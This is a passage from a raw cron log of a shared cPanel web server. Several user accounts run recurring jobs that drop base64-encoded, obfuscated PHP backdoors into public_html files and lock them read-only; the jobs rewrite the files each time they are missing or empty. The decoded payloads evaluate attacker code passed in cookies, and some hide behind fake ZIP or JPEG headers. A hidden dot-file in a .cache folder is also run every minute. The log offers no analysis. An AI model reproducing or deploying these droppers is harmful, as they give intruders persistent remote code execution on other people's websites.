pnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:28:02 medusa CROND[2017]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:28:02 medusa CROND[2018]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:28:02 medusa CROND[2019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:28:02 medusa CROND[2020]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:28:02 medusa CROND[2022]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:28:02 medusa CROND[2024]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:28:02 medusa CROND[2026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:28:02 medusa CROND[2027]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:28:02 medusa CROND[2029]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:28:02 medusa CROND[2030]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:28:02 medusa CROND[2031]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:28:02 medusa CROND[2034]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:28:02 medusa CROND[2037]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:29:01 medusa CROND[23353]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:29:01 medusa CROND[23354]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:29:01 medusa CROND[23355]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:29:01 medusa CROND[23356]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:29:01 medusa CROND[23357]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 10:29:01 medusa CROND[23361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:29:01 medusa CROND[23363]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:29:01 medusa CROND[23364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:29:01 medusa CROND[23369]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:29:01 medusa CROND[23370]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:29:01 medusa CROND[23366]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:29:01 medusa CROND[23374]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:29:01 medusa CROND[23377]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:30:01 medusa CROND[13740]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 10:30:02 medusa CROND[13878]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13881]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13883]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:30:02 medusa CROND[13885]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13886]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:30:02 medusa CROND[13887]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13888]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13890]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:30:02 medusa CROND[13891]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 10:30:02 medusa CROND[13892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:30:02 medusa CROND[13900]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13902]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:30:02 medusa CROND[13904]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:30:02 medusa CROND[13903]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 10:30:02 medusa CROND[13905]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 